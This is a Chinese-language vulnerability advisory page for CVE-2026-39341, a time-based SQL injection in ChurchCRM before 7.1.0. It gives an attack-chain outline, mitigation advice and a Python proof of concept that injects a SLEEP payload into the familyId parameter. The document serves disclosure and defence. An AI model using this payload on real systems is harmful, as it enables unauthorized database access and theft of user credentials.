IPBUF安全漏洞报告
English
CVE-2026-39341 CVSS 8.1 高危

CVE-2026-39341: ChurchCRM SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39341
漏洞类型
SQL注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRM高危漏洞CVE-2026-39341Web安全

漏洞概述

ChurchCRM是一个开源的教会管理系统。在7.1.0版本之前,应用程序由于输入验证不当,容易受到基于时间的SQL注入攻击。具体来说,Reports/ConfirmReportEmail.php?familyId=端点未能正确清理用户输入,导致清理后的输入未被用于创建SQL查询,从而引发漏洞。该问题已在7.1.0版本中修复。

技术细节

该漏洞属于基于时间的盲注(Time-based Blind SQL Injection)。漏洞根源在于ChurchCRM的Reports/ConfirmReportEmail.php文件中,familyId参数的处理存在逻辑缺陷。尽管代码可能进行了某种输入过滤,但过滤后的数据并未被安全地用于SQL查询构造。攻击者利用低权限账号即可发起攻击。通过在familyId参数中注入恶意SQL语句(例如利用AND SLEEP(5)),攻击者可以强制数据库延迟响应。根据响应时间的变化,攻击者能够推断出数据库中的敏感信息,如管理员密码哈希或用户数据,从而导致机密性和完整性受损。

攻击链分析

STEP 1
1. 信息收集与访问
攻击者发现目标使用ChurchCRM系统,并确认版本低于7.1.0。攻击者注册或获取一个低权限用户账号。
STEP 2
2. 发起攻击
攻击者向Reports/ConfirmReportEmail.php端点发送特制的HTTP请求,在familyId参数中注入基于时间的SQL盲注Payload。
STEP 3
3. 数据提取
通过分析数据库响应的时间延迟,攻击者逐位推断出敏感数据(如用户凭证、个人信息),实现数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests import time def exploit_sqli(target_url): """ PoC for CVE-2026-39341 Target: ChurchCRM < 7.1.0 Endpoint: /Reports/ConfirmReportEmail.php?familyId= Type: Time-based SQL Injection """ # Construct the vulnerable endpoint full_url = f"{target_url}/Reports/ConfirmReportEmail.php" # Payload to trigger time-based delay # Checks if the database waits for 5 seconds payload = "?familyId=1' AND SLEEP(5)-- -" print(f"[*] Sending payload to: {full_url}") try: start_time = time.time() response = requests.get(full_url + payload, timeout=10) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print(f"[+] Vulnerability confirmed! Response took {elapsed_time:.2f} seconds.") print("[+] The application is vulnerable to CVE-2026-39341.") else: print(f"[-] Vulnerability not detected. Response took {elapsed_time:.2f} seconds.") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" exploit_sqli(target)

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
若无法立即升级,建议通过WAF拦截针对`Reports/ConfirmReportEmail.php`接口的异常请求,并在网络层面严格限制对该特定文件的访问权限,仅允许受信任的IP地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表